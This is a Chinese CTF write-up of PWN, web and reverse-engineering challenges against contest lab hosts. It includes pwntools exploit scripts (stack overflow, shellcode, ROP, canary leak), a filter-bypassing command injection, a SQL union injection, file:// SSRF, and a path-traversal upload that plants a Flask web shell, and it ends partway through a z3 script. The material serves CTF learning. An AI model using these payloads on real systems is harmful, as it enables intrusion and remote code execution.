PWN

Oceaner黑客少年传奇-烈焰序章

nc连接服务器 cat flag
tips:连接后只能输入一个命令

Oceaner黑客少年传奇-雷霆觉醒

nc连接进去后,是计算游戏。

静态分析之后,发现114次后终止,并获得权限

写一个脚本来执行操作

from pwn import *
import re

# context.log_level = 'DEBUG'

host = '172.20.14.117'
port = 10517

conn = remote(host, port)

def solve_expression(expr):
    match = re.match(r'(\d+)\s*([+\-*/])\s*(\d+)', expr)
    if match:
        a, operator, b = match.groups()
        a, b = int(a), int(b)

        if operator == '+':
            return str(a + b)
        elif operator == '-':
            return str(a - b)
        elif operator == '*':
            return str(a * b)
        elif operator == '/':
            return str(a // b)
    else:
        raise ValueError("Invalid expression")

try:
    k = 0
    while True:
        k = k + 1
        challenge = conn.recvuntil(b' = ?').decode('utf-8').strip()
        print(f"Received challenge{k}: {challenge}")

        expression = challenge.split('how to calculate ')[-1]

        answer = solve_expression(expression)
        conn.sendline(answer)

        output = conn.recvline().decode('utf-8').strip()
        print(output)
        if k == 114:
            print("Switching to interactive mode")
            conn.interactive()
            break

except EOFError:
    print("Connection closed by the remote host.")

finally:
    conn.close()

栈溢出题

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[32]; // [rsp+0h] [rbp-20h] BYREF
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  puts("so please tell me what you want to tell me");
  gets(v4);
  puts("well what you say is right,but not right enough");
  return 0;
}

超过32个字符溢出

后门函数 401156开始

编写脚本 64位程序

from pwn import *

r = remote('172.20.14.117',19966)

addr = 0x401157 		#栈对齐

payload = b'a'*(50)

payload = payload + p64(addr)

r.sendline(payload)

r.interactive()

nun_game

flag:flag{well_done}

一道游戏题

分析并修复main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
	unsigned int v3; // eax
	int tmp1; // ebx
	int tmp2; // ebx
	int rand_0_3; // eax
	char v8; // r12
	unsigned __int64 t2; // rbx
	size_t len; // rax
	size_t t; // rbx
	char s[112]; // [rsp+0h] [rbp-120h] BYREF
	char leak[108]; // [rsp+70h] [rbp-B0h] BYREF
	int input; // [rsp+DCh] [rbp-44h] BYREF
	char *data1; // [rsp+E0h] [rbp-40h]
	int index_1; // [rsp+ECh] [rbp-34h]
	unsigned int i; // [rsp+F0h] [rbp-30h]
	unsigned int boss_defence; // [rsp+F4h] [rbp-2Ch]
	unsigned int boss_attack; // [rsp+F8h] [rbp-28h]
	unsigned int boss_health; // [rsp+FCh] [rbp-24h]
	unsigned int my_defence; // [rsp+100h] [rbp-20h]
	unsigned int my_attack; // [rsp+104h] [rbp-1Ch]
	unsigned int my_health; // [rsp+108h] [rbp-18h]
	__int64 value; // [rsp+10Ch] [rbp-14h]
    LODWORD(value) = 0;
	input = 0;
	my_health = 100;
	my_attack = 10;
	my_defence = 5;
	boss_health = 9999;
	boss_attack = 99;
	boss_defence = 9;
	v3 = time(0LL);
	srand(v3);
	puts(&::s);
    for ( i = 1; (int)i <= 5; ++i )
{
	printf("round_%d\n", i);
	puts(asc_402060);
	printf(&byte_402098, my_health, my_attack, my_defence);
	printf(aBoss, boss_health, boss_attack, boss_defence);
	puts(asc_402110);
	puts(
	"1.连续攻击(造成攻击力的伤害5次)\t2.穿甲重击(攻击力X5)\t3.战术应急(使敌人攻击大幅度减低)"); //第一行
	puts("4.松果糖豆闪电鞭(造成750伤害)\t5.盾剑冲击(攻击力减半,造成防御力之差X10的伤害)");
	puts("6.“如来”打法(削弱敌人防御,并提升自己防御)\t7.一束哀悼(敌人生命值降低,自己攻击力提升)");
   	puts("8.不稳定爆破(造成随机伤害)\t9.TC公司干扰协议(双方数值都大幅度提升)");
	puts("10.开摆(双方最大生命减半,防御力大幅提升)"); // 输出最后一行
    if ( (my_health & 0x80000000) != 0 )
	{
		puts("game over");
		__isoc99_scanf("%d", &input);
		return 0;
	}
	__isoc99_scanf("%d", &input);
	switch ( input )
	{
		case 1: // boss受我五倍伤害
		boss_health += 5 * (boss_defence - my_attack);
		break;
		case 2:
		my_attack *= 5; // 我攻击*5
		break;
		case 3:
		boss_attack = (int)(0.1 * (double)(int)boss_attack);// boss攻击*0,1
		break;
		case 4: // boss受750
		boss_health -= 750;
		break;
		case 5:
		my_attack = (int)(0.5 * (double)(int)my_attack);// 我的攻击弱化,但是boss血量如果防御比我少时减少10倍差值
		boss_health += 10 * (boss_defence - my_defence);
		break;
		case 6: // 我的防御*2 boss防御*0.1
		my_defence *= 2;
		boss_defence = (int)(0.1 * (double)(int)boss_defence);
		break;
		case 7:
		boss_health = (int)(0.8 * (double)(int)boss_health);// boss血量*0.8 我攻击+50
		my_attack += 50;
		break;
		case 8: // boss血量随机减少,最少50,最多3200
		tmp1 = rand() % 4 + 1;
		tmp2 = (rand() % 4 + 1) * tmp1;
		boss_health -= 50 * tmp2 * (rand() % 4 + 1);
		break;
		case 9: // 大家都*30属性
		my_health *= 30;
		my_attack *= 30;
		my_defence *= 30;
		boss_health *= 30;
		boss_attack *= 30;
		boss_defence *= 30;
		break;
		case 10: // 都时血量*0.6,防御*3
		boss_health = (int)(0.6 * (double)(int)boss_health);
		my_health = (int)(0.6 * (double)(int)my_health);
		my_defence *= 3;
		boss_defence *= 3;
		break;
         default:
		boss_health += 20 * (my_defence - my_attack);
		break;
	}
	rand_0_3 = rand() % 4;
    if ( rand_0_3 == 3 ) // boss攻击力翻倍,我收伤害*0.5
	{
		boss_attack *= 2;
		printf("boss使用了力量化,boss攻击力变为%d\n", boss_attack);
		my_health = (int)(0.5 * (double)(int)(my_defence - boss_attack) + (double)(int)my_health);
	}
	else if ( rand_0_3 <= 3 )
	{
		if ( rand_0_3 == 2 )
		{ 		// 我的攻击弱化为0.1,且boss攻击我*0.5
			my_attack = (int)my_attack / 10;
			printf("boss使用了防爆破探针,你的攻击力降低为%d\n", my_attack);
			my_health = (int)(0.5 * (double)(int)(my_defence - boss_attack) +(double(int)my_health);
		}
		else if ( rand_0_3 )
		{
			if ( rand_0_3 == 1 )
			{
				boss_defence *= 10; // boss防御*10,且我承受0.5
				printf("boss使用了防御计划,boss的防御力变为了%d\n", boss_defence);
				my_health = (int)(0.5 * (double)(int)(my_defence - boss_attack) +(double)(int)my_health);
			}
		}
		else // 随机为0时,我的血量+=我的防御-boss攻击(承受所有伤害)
		{
			my_health += my_defence - boss_attack;
			printf("boss使用了普通攻击,你的生命值变为了%d\n", my_health);
		}
	}
	LODWORD(value) = 10 * value + input; // 记录我的选择
	}
	puts(asc_402060);
	printf(&byte_402098, my_health, my_attack, my_defence);
	printf(aBoss, boss_health, boss_attack, boss_defence);
	if ( (boss_health & 0x80000000) == 0 )
	{
		puts("time up,you lose");
		__isoc99_scanf("%d", &input);
		return 0;
	}
	else // boss死后
	{
		puts(aWellDone);
		sprintf(s, "%d", (unsigned int)value); // value格式化后写进s
		data1 = "UUX^BD\\UUfWVW\\D";
		for ( index_1 = 0; ; ++index_1 )
         {
			t = index_1;
			if ( t >= strlen(data1) )
			break;
			v8 = data1[index_1];
			t2 = index_1;
			len = strlen(s);
			leak[index_1] = s[t2 % len] ^ v8; // encode
		}
		puts(leak);
		__isoc99_scanf("%d", &input);
		return 0;
	}
}

其中有一部分关键代码

else // boss死后
	{
		puts(aWellDone);
		sprintf(s, "%d", (unsigned int)value); // value格式化后写进s
		data1 = "UUX^BD\\UUfWVW\\D";
		for ( index_1 = 0; ; ++index_1 )
         {
			t = index_1;
			if ( t >= strlen(data1) )
			break;
			v8 = data1[index_1];
			t2 = index_1;
			len = strlen(s);
			leak[index_1] = s[t2 % len] ^ v8; // encode
		}
		puts(leak);
		__isoc99_scanf("%d", &input);
		return 0;
	}

这里面是一段解密,对于密文根据我们前面的选择进行解密,并输出

结合Hint:可以穷举?但是number不能太大?

直接爆破得到s为39999

然后逆向解密即可

data1 = [0x55, 0x55, 0x58, 0x5E, 0x42, 0x44, 0x5C, 0x55, 0x55, 0x66, 0x57, 0x56,0x57, 0x5C, 0x44]

#flag = 'flag{'

s = '39999'

#for i in range(len(flag)):
#	s+=chr(data1[i]^ord(flag[i]))
#	print(s)

leak = [0]*len(data1)

for i in range(len(data1)):
	leak[i] = ord(s[i % len(s)]) ^ data1[i]

print(''.join(chr(a) for a in leak))

ezshellcode

分析main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[56]; // [rsp+0h] [rbp-40h] BYREF
  void *buf; // [rsp+38h] [rbp-8h]

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  buf = (void *)(int)mmap((void *)0x405000, 0x1000uLL, 7, 34, -1, 0LL);
  puts("Plant your bombs!");
  read(0, buf, 0x30uLL);
  puts("Light your bombs!");
  read(0, v4, 0x100uLL);
  puts("bye!");
  return 0;
}

有两个read,一个mmap,输入0x30字符,一个栈溢出,输入0x100字符。

根据hint:如果我在那里存放一个shellcode,再跳转过去发发生什么呢

可以猜测,第二个read函数可以用来执行存放在第一个read函数里的shellcode

编写脚本

from pwn import *
from pwn import p64

context.arch='amd64'

addr = 0x405000

r = remote ("172.20.14.117",47223)

shellcode = asm(shellcraft.sh())

payload = shellcode
payload = payload + b"a" * (48 - len(shellcode))
r.send(payload)

payload = b"b" * 64 + b"c" * 8
payload = payload + p64(addr)
r.send(payload)

r.interactive()

justsearch

分析main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[24]; // [rsp+0h] [rbp-20h] BYREF
  const char *v5; // [rsp+18h] [rbp-8h]

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  v5 = "/bin/sh";
  puts("now please tell me how much stars are in the space");
  read(0, buf, 0x60uLL);
  puts("I think it is more");
  return 0;
}

有个栈溢出,还给了个后门函数,同时提供了binsh字符串

根据hint:构造rop链

直接用它的binsh构造rop链

通过ROPgadget找到了pop_rdi_ret这个gadget

直接通过pop rdi 将binsh入栈再通过直接执行system即可

from pwn import *

sh=remote("172.20.14.117",62755)

context.log_level='debug'
context.arch='amd64'

backdoor_addr=0x401237
pop_rdi_addr=0x4012a3
sh.recvline()

payload = b'\x00'*40 + p64(pop_rdi_addr) + p64(0x402008) + p64(backdoor_addr)
sh.sendline(payload)

sh.interactive()

Onepiece

给了个地址应该是后门,并根据提示可以猜到需要猜测栈上写的地址和后门的距离差

因此直接对于栈上空间大量的覆盖后门地址就行,由于栈的对齐机制,所以前面的数据肯定是8/4字节对齐的,所以直接用后门地址大量填充即可

这里猜测是64位的程序,就直接通过p64的地址大量填充即可

from pwn import *

context.log_level = 'debug'

addr = 0x40119e

r=remote("172.20.14.117",33248)

payload = p64(0x40119e)*0x100
r.recvuntil(b'\x81\x0a')
r.sendline(payload)

r.interactive()

fmt低配版

分析main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 buf; // [rsp+0h] [rbp-40h] BYREF
  __int64 v5[6]; // [rsp+10h] [rbp-30h] BYREF

  v5[5] = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  printf("please tell me your name ");
  read(0, &buf, 0x10uLL);
  printf("hello!");
  printf((const char *)&buf);
  printf("Please tell me what you want.");
  gets(v5);
  printf("Let's see if you get it");
  return 0;
}

可以通过格式化字符串泄露canary,再通过栈溢出修改ret到后门,

经过gef的插件测出canary可以通过%13$p来泄露

但是这个题的存在栈对齐问题,再加一个ret就行

from pwn import *
sh=process("./fmt2")

#context.terminal=["tmux","splitw","-h"]
#sh=remote("addr",port)
def debug():
    gdb.attach(sh,"b *0x401287")

context.log_level='debug'
context.arch='amd64'
#debug()

sh.recvuntil(b'name ')
sh.sendline(b'%13$p')
canary=sh.recvuntil(b'\n').split(b'!')[1][-17:]
canary_value = int(canary, 16)

success("canary=>"+str(canary))
payload=7*p64(canary_value)+p64(0x4012C8)+p64(0x4012C9)
#sh.recvline()
sh.sendline(payload)
sh.interactive()

WEB

ez_php

flag:redrock{W0w_u_hav3_s0ved_7h1s!}

绕过第一个 找到两个md5相同的字符串

a1=QNKCDZO&a2=240610708

绕过第二个 cookie 设置 b 的值为 114514.1

绕过第三个 hackbar POST

file=data://text/plain,I wanna the last key

欸我flag呢

flag:redrock{7hank_u_f1nd_1t_f0r_tiger}

dirsearch目录扫描

可曾听闻ping?

cmd ping 命令 查询IP

172.20.14.2

172.20.14.2 | ls

发现index.php

172.20.14.2 | ca''t index.php

发现源码

			<?php
				error_reporting(0);
				header("Content-type:text/html;charset=utf-8");
				$ip = $_POST['ip'];
				if (isset($ip))
				{
					if (preg_match('/(fl4g|cat)/i',$ip)) {
						die("才不会让你这么轻易拿到flag!");
					}
					$cmd = "ping -c 1 ".$ip;
					$ret = system($cmd);
					$ret = iconv("GBK", "UTF-8", $ret);
					echo $ret;
				}
				?>
127.20.14.2 | ca''t /f''l4g

得到flag

oceaner的网站

flag:redrock{F12_is_c0nv3n1ent}

F12或者查看源码

点击就送flag(web版)

flag:redrock{js_1s_s0_e@syyyy}

查看js源码

//游戏胜利条件
		if (count >= 50) {
			findFlag();
		} else {
			alert("失败!点击确定刷新页面");
			//刷新页面
			location.reload();
		}
	}, 5000);

count>=50就可满足条件

开始游戏后 控制台输入count=50

你是man吗?

hackbar POST

url=file:////flag

easy sql

sql注入问题

联合注入

-1 union select 1,group_concat(flag) from flag

你是一个真正的man吗?

hackbar POST

url=fil''e:////flag

看看你的作业

构造pop链

<?php
error_reporting(0);

class Wode
{
	public $name;
	public function __construct(){
	$this->name=new Homework();
	}
}
class Homework
{
	public $yes;
	public function __construct(){
	$this->yes=new System();
	}
}
class System
{

}

echo serialize(new Wode());

得到

O:4:"Wode":1:{s:4:"name";O:8:"Homework":1:{s:3:"yes";O:6:"System":0:{}}}

发现一个路由:WH47/Y0u/Kn0W/7H3/P0p/main.php?5Y573M=

但是只能执行4个字符,一开始想的是4字符RCE,但是靶机好像不出网或者当前目录的两个文件导致我ls -t命令没有正确执行

根据题目提示flag应该就在wh4tY0U3V3nKn0WM3.php

nl *

查看源码 得到flag

我新学的flask

它开了debug,尝试报错来让它回显源代码,但是这题报错只是前端回显error,所以需要抓包来看

在查看文件的地方直接把文件名后加个%00截断:

with open(app.config['UPLOAD_FOLDER'] + "/" + filename, 'rb') as file:
image_data = file.read()</pre>
base64_data = base64.b64encode(image_data).decode('utf-8')
return render_template_string("<img src='data:image/jpg;base64,{{
base64_data }}'>",

在上次文件的地方把文件名魔改一下尝试报错:

app.config[&#39;MAX_CONTENT_LENGTH&#39;] = 64 * 1024 * 1024 # 限制大小64mb</pre>
<pre class="line before"><span class="ws"></span> </pre>
<pre class="line before"><span class="ws"></span>@app.route(&#39;/&#39;, methods=
[&#39;GET&#39;, &#39;POST&#39;])</pre>
<pre class="line before"><span class="ws"></span>def upload_file():</pre>
<pre class="line before"><span class="ws"> </span>if request.method == &#39;POST&#39;:
</pre>
<pre class="line current"><span class="ws"> </span>file =
request.files[&#39;file&#39;]</pre>
<pre class="line after"><span class="ws"> </span>if file:</pre>
<pre class="line after"><span class="ws"> </span>filename =
file.filename</pre>
<pre class="line after"><span class="ws"> </span>filename = str(filename) #
防止恶意传送非正常字符导致服务器异常</pre>
<pre class="line after"><span class="ws">
</span>file.save(os.path.join(app.config[&#39;UPLOAD_FOLDER&#39;], filename))</pre>
<pre class="line after"><span class="ws"> </span>return
render_template(&#34;index.html&#34;, uploadSuccess=True,filename=filename)

注意这里的 file.save(os.path.join(app.config[&#39;UPLOAD_FOLDER&#39;], filename))

根据题目提示的目录穿越,这里一看就是可以把文件传到根目录

写一个py脚本

from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/')
def index():
    try:
        shell = request.args.get("rce")
        data = os.popen(shell).read()
        return data
    except:
        pass
    return "ok!!!"
if __name__ == "__main__":
    app.run(host='0.0.0.0',debug=True,port=5000)

最后进行改名为../app.py进行上传

?rce=cat /This_1S_TrUe_FlAg

REVERSE(AK)

Oceaner的怜悯

flag:Redrock{re_15_ea5yToT}

64位exe文件没壳 用IDA Pro打开

分析程序时找到了flag

也可以用 Shift+F12 直接找到

Oceaner的仁慈

flag:Redrock{DoYouReallyDoNotThinkREIsSimple???}

32位exe文件没壳 用IDA Pro打开

main函数

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int i; // eax
  char ArgList[44]; // [esp+0h] [ebp-30h] BYREF

  for ( i = 0; i < 44; ++i )
    ArgList[i] = byte_402110[4 * i] ^ 0xFA;
  sub_401010("%s", (char)ArgList);
  system("cls");
  exit(0);
}

用一个在地址0x402110处开始的数据来填充ArgList数组。每次循环增加4个字节,然后和0xFA进行异或(XOR)操作。

读取地址0x402110004021BC的数据

    0xA8, 0x9F, 0x9E, 0x88, 0x95, 0x99, 0x91, 0x81,
    0xBE, 0x95, 0xA3, 0x95, 0x8F, 0xA8, 0x9F, 0x9B,
    0x96, 0x96, 0x83, 0xBE, 0x95, 0xB4, 0x95, 0x8E,
    0xAE, 0x92, 0x93, 0x94, 0x91, 0xA8, 0xBF, 0xB3,
    0x89, 0xA9, 0x93, 0x97, 0x8A, 0x96, 0x9F, 0xC5,
    0xC5, 0xC5, 0x87, 0xFA

写一个脚本解密

encrypted_flag_bytes = [
    0xA8, 0x9F, 0x9E, 0x88, 0x95, 0x99, 0x91, 0x81,
    0xBE, 0x95, 0xA3, 0x95, 0x8F, 0xA8, 0x9F, 0x9B,
    0x96, 0x96, 0x83, 0xBE, 0x95, 0xB4, 0x95, 0x8E,
    0xAE, 0x92, 0x93, 0x94, 0x91, 0xA8, 0xBF, 0xB3,
    0x89, 0xA9, 0x93, 0x97, 0x8A, 0x96, 0x9F, 0xC5,
    0xC5, 0xC5, 0x87, 0xFA
]
flag = ''.join(chr(byte ^ 0xFA) for byte in encrypted_flag_bytes)
print(flag)

点击就送flag

flag:redrock{y0u_c1icked_0n_me_haha}

32位exe文件没壳 用IDA Pro打开

查看main函数

Point = Msg.pt;
      ScreenToClient(hWnd, &Point);
      if ( Point.x >= X && Point.x <= X + 130 && Point.y >= Y && Point.y <= Y + 60 )
      {
        v19 = (HINSTANCE)(x + 1);
        v15 = __PAIR64__(y, x) + 1;
        y = (__PAIR64__(y, x) + 1) >> 32;
        x = v15;
        v20 = y;
        if ( __PAIR64__(y, v15) > 0x12C )
        {
          byte_416308 = 1;
        }
        else
        {
          v16 = rand() % 605;
          v17 = rand() % 510;
          SetWindowPos(dword_416720, 0, v16, v17, 0, 0, 5u);
          v18 = rand();
          SetWindowTextW(dword_416720, (&lpString)[(v18 % 0x30) >> 2]);
          X = v16;
          y = v20;
          Y = v17;
          x = (LONG)v19;

可以知道这里是随机的,用于跳转那个按钮

        if ( __PAIR64__(y, v15) > 0x12C )
        {
          byte_416308 = 1;
        }

查找字符串,可以发现这里调用了一个txt文件

跳到引用的地方

int __fastcall sub_401080(int a1, const void *a2)
{
  HANDLE FileA; // esi
  DWORD NumberOfBytesWritten; // [esp+8h] [ebp-8h] BYREF

  FileA = CreateFileA(".\\click_me_flag.txt", 0xC0000000, 1u, 0, 2u, 0x80u, 0);
  if ( FileA == (HANDLE)-1 )
    return 0;
  if ( !WriteFile(FileA, a2, strlen((const char *)a2), &NumberOfBytesWritten, 0) )
  {
    CloseHandle(FileA);
    return 0;
  }
  CloseHandle(FileA);
  return 1;
}

可以知道这个会将flag写入这个txt文件中

进行动态调试断点,直接跳到需要的地方,让其写入flag

        SetWindowTextW(::hWnd, &String);
        sub_401110();

打开txt即为flag

EasyRE

flag:Redrock{w31c0m3_70_r3dr0ck}

64位exe文件没壳 用IDA Pro打开

没有找到什么东西

经过一段分析

大致就是要输入用户和密码,经过一系列的计算,要逆的就是用户名和密码

如果输入正确,就会在登录的下面生成flag,由于输入的用户名密码是没有参与flag的生成的,因此可以动态调试,直接调到生成flag那里去

Do_U_know_UPX

flag:Redrock{W6@t_15_UPX0.o}

64位exe文件有壳 用x64打开手脱壳

使用插件将数据dump出来

分析dump的程序

有许多混淆的代码,十分不好看,先找到比较函数,仔细分析可以发现

对比函数这里对数据进行了操作

结合动态调试

输入的数据中途并没有进行运算,只是在最后进行了运算

分析函数可以知道,这里实现了一个换表,然后异或,写代码逆向即可

#include<stdio.h>
int main()
{
    int j = 0;
    char a[15] = "Mhf*EsgEGVNvp5";
    char arr[100] = "~}|{zyxwvutsrqponmlkjihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&";
    int flag_num[20];
    for (int i = 0; i < 14; i++)
    {
        for ( j = 0; j < 90; j++)
        {
            if(a[i] == arr[j])
                break;
        }
        flag_num[i] = j;
    }
    for (int i = 0; i < 14; i++)
    {
        flag_num[i] = (290 - (flag_num[i] ^ 0xFA));
    }
    
    for (int i = 0; i < 14; i++)
    {
        printf("%c", flag_num[i]);
    }
    
    return 0;
}
//Redrock{W6@t_15_UPX0.o}

Do you like Jiaran?

flag:redrock{5ea76e34-c093-4b45-8dfe-47038a1900e1}

apk文件 用jadx打开

分析MainActivity函数

package com.example.redrock;

import android.content.SharedPreferences;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
import androidx.appcompat.app.AppCompatActivity;
import java.security.MessageDigest;

/* loaded from: classes3.dex */
public class MainActivity extends AppCompatActivity {
    Button btnlogin;
    EditText name;
    EditText passwd;
    SharedPreferences sp1;
    SharedPreferences sp2;

    /* loaded from: classes3.dex */
    public class a implements View.OnClickListener {
        public a() {
        }

        @Override // android.view.View.OnClickListener
        public void onClick(View view) {
            new com.example.redrock.a();
            new b();
            String username = MainActivity.this.name.getText().toString();
            String password = MainActivity.this.passwd.getText().toString();
            try {
                MainActivity.this.hello();
                if (Compare.Compared(username, "74fyx")) {
                    MessageDigest md5 = MessageDigest.getInstance("MD5");
                    byte[] psd = password.getBytes();
                    byte[] MdPasswd = md5.digest(psd);
                    StringBuilder stringBuilder = new StringBuilder();
                    for (byte b : MdPasswd) {
                        stringBuilder.append(String.format("%02x", Byte.valueOf(b)));
                    }
                    String RealPasswd = stringBuilder.toString();
                    if (Compare.Compared(RealPasswd, "4fef66a85d44d5db0cbb9531eb990a8c")) {
                        MainActivity.this.name.setText("Good job! this is your flag: " + com.example.redrock.a.b(b.a()));
                    } else {
                        Toast.makeText(MainActivity.this.getApplicationContext(), "If you don't use frida then you are not a qualified Caramel candy and you will not get the flag you want!", 0).show();
                    }
                    return;
                }
                Toast.makeText(MainActivity.this.getApplicationContext(), username + "All Caramel candies love Jadx, do you too?", 0).show();
            } catch (Exception a2) {
                a2.printStackTrace();
            }
        }
    }

    /* JADX INFO: Access modifiers changed from: protected */
    @Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        this.name = (EditText) findViewById(R.id.name);
        this.passwd = (EditText) findViewById(R.id.passwd);
        this.btnlogin = (Button) findViewById(R.id.login);
        this.sp1 = getSharedPreferences("userinfo", 0);
        this.sp2 = getSharedPreferences("username", 0);
        this.name.setText(this.sp1.getString("usname", null));
        this.passwd.setText(this.sp1.getString("uspwd", null));
        this.btnlogin.setOnClickListener(new a());
    }

    public void hello() {
        System.out.println("Hello,World!");
    }
}

可以知道

如果用户名和MD5加密后的密码都验证通过,那么flag将通过com.example.redrock.a.b(b.a())来获取。

再分析a,b,c,d,e,f,g,h,i函数和compare函数,可以知道flag被RC4加密,密钥为5ea76e34

并且密文是按

arrayList.get(8)b类,值为"db97e0923f"

h.a() 方法的返回值,值为 "5d1e0c3581"

i.a() 方法的返回值,值为 "86cb88e423"

f.a() 方法的返回值,值为 "1af6c887fc"

e.a() 方法的返回值,值为 "8cc18426c8"

arrayList2.get(9)b类,值为"de9c3afc5e"

c.a() 方法的返回值,值为 "a27e88b0ea"

arrayList3.get(5)b类,值为 `"4b5dcc3626"``

d.a() 方法的返回值,值为 "7d6b5eaced"

顺序连接 即密文为

db97e0923f5d1e0c358186cb88e4231af6c887fc8cc18426c8de9c3afc5ea27e88b0ea4b5dcc36267d6b5eaced

RC4解密即可

native jvav

flag:redrock{n@tive!nat1ve!nativ5!}

用IDEA打开,将这个包载入

这里可以看到java源码,分析源码可以知道,这里调用了dll文件中的HelloJNI函数

将dll函数拖入ida中进行分析,分析逻辑即可得到flag

easypy

flag:redrock{@V@_We1come_7o_redr0ck}

打开文件可以发现是py打包,用pyinstxtractor.py进行解包

反编译easy_python.pyc

得到源码

import sys

def main():
    print('Www……,ToT the flag has been lost. ')
    print('I heard you are a wise warrior. Can you help me find it?')
    v1 = input()
    if len(v1) != 33 and v1[:8] != 'redrock{' or v1[32] != chr(125):
        print("Emmm...,It seems wrong. You're looking in the wrong direction. Go back and take a look!")
        sys.exit(1)
    encrypt = encode(v1)
    r1 = z3z(encrypt)
    (a, b, c) = Xor_Or_Shift(encrypt[12:32])
    if r1 and int(a) == 674851397 and int(b) == 1515869815 and int(c) == 1803516244:
        print('Right!!!')
        return None
    None('Wrong!!!Please take a closer look!')


def Option(o):
    list = []
    for i in range(len(o)):
        list.append(ord(o[i]))
    return list


def z3z(n):
    print("O.oO.oO.o————It's really hard to calculate!")
    part1 = Option(n[:12])
    if 138 * part1[0] + 204 * part1[1] + 874 * part1[2] + 387 * part1[3] + 713 * part1[4] + 833 * part1[5] + 974 * part1[6] + 999 * part1[7] + 128 * part1[8] + 698 * part1[9] + 790 * part1[10] + 469 * part1[11] == 626818 and 244 * part1[0] + 457 * part1[1] + 502 * part1[2] + 938 * part1[3] + 86 * part1[4] + 358 * part1[5] + 943 * part1[6] + 840 * part1[7] + 616 * part1[8] + 381 * part1[9] + 258 * part1[10] + 421 * part1[11] == 565019 and 361 * part1[0] + 472 * part1[1] + 773 * part1[2] + 220 * part1[3] + 794 * part1[4] + 237 * part1[5] + 762 * part1[6] + 676 * part1[7] + 595 * part1[8] + 623 * part1[9] + 328 * part1[10] + 198 * part1[11] == 523895 and 681 * part1[0] + 513 * part1[1] + 789 * part1[2] + 237 * part1[3] + 960 * part1[4] + 773 * part1[5] + 621 * part1[6] + 608 * part1[7] + 335 * part1[8] + 383 * part1[9] + 395 * part1[10] + 812 * part1[11] == 655241 and 503 * part1[0] + 702 * part1[1] + 628 * part1[2] + 150 * part1[3] + 672 * part1[4] + 324 * part1[5] + 795 * part1[6] + 892 * part1[7] + 738 * part1[8] + 610 * part1[9] + 150 * part1[10] + 862 * part1[11] == 643363 and 16 * part1[0] + 590 * part1[1] + 294 * part1[2] + 408 * part1[3] + 757 * part1[4] + 272 * part1[5] + 101 * part1[6] + 4 * part1[7] + 174 * part1[8] + 801 * part1[9] + 550 * part1[10] + 163 * part1[11] == 313208 and 956 * part1[0] + 720 * part1[1] + 177 * part1[2] + 741 * part1[3] + 579 * part1[4] + 5 * part1[5] + 863 * part1[6] + 135 * part1[7] + 571 * part1[8] + 451 * part1[9] + 935 * part1[10] + 762 * part1[11] == 618358 and 227 * part1[0] + 600 * part1[1] + 185 * part1[2] + 874 * part1[3] + 579 * part1[4] + 518 * part1[5] + 356 * part1[6] + 185 * part1[7] + 267 * part1[8] + 370 * part1[9] + 35 * part1[10] + 153 * part1[11] == 389914 and 173 * part1[0] + 641 * part1[1] + 83 * part1[2] + 826 * part1[3] + 218 * part1[4] + 845 * part1[5] + 282 * part1[6] + 893 * part1[7] + 578 * part1[8] + 29 * part1[9] + 636 * part1[10] + 746 * part1[11] == 555914 and 61 * part1[0] + 999 * part1[1] + 324 * part1[2] + 493 * part1[3] + 387 * part1[4] + 470 * part1[5] + 643 * part1[6] + 961 * part1[7] + 605 * part1[8] + 926 * part1[9] + 85 * part1[10] + 406 * part1[11] == 554902 and 857 * part1[0] + 823 * part1[1] + 648 * part1[2] + 45 * part1[3] + 949 * part1[4] + 230 * part1[5] + 763 * part1[6] + 810 * part1[7] + 603 * part1[8] + 707 * part1[9] + 809 * part1[10] + 88 * part1[11] == 628055 and 797 * part1[0] + 159 * part1[1] + 229 * part1[2] + 642 * part1[3] + 999 * part1[4] + 534 * part1[5] + 624 * part1[6] + 442 * part1[7] + 500 * part1[8] + 938 * part1[9] + 851 * part1[10] + 84 * part1[11] == 568919:
        return True


def Xor_Or_Shift(p):
    part2 = Option(p)
    k = 0
    for i in range(len(part2) - 1):
        part2[i] ^= part2[i + 1] ^ 102
    res = []
    for i in range(0, len(part2), 4):
        k |= part2[i] << 0
        k |= part2[i + 1] << ((i + 1) % 4) * 8
        k |= part2[i + 2] << ((i + 2) % 4) * 8
        k |= part2[i + 3] << ((i + 3) % 4) * 8
        res.append(k)
        k = 0
    return res

if __name__ == '__main__':
    main()
    return None

对数据进行了分割,一段是进行复杂的计算验证,一个进行合并异或

复杂验证,z3脚本

from z3 import *

#数据
#建立求解器
s = Solver()  
#设出flag     
part1 = [BitVec('x%d' % i, 8) for i in range(12)]
#对于flag进行限制,保证其为可见字符
for i in range(12):
    s.add(part1[i] <= 127)
    s.add(part1[i] >= 32)
# 中间添加程序的加密算法

#约束条件
s.add(138 * part1[0] + 204 * part1[1] + 874 * part1[2] + 387 * part1[3] + 713 * part1[4] + 833 * part1[5] + 974 * part1[6] + 999 * part1[7] + 128 * part1[8] + 698 * part1[9] + 790 * part1[10] + 469 * part1[11] == 626818)
s.add(244 * part1[0] + 457 * part1[1] + 502 * part1[2] + 938 * part1[3] + 86 * part1[4] + 358 * part1[5] + 943 * part1[6] + 840 * part1[7] + 616 * part1[8] + 381 * part1[9] + 258 * part1[10] + 421 * part1[11] == 565019)
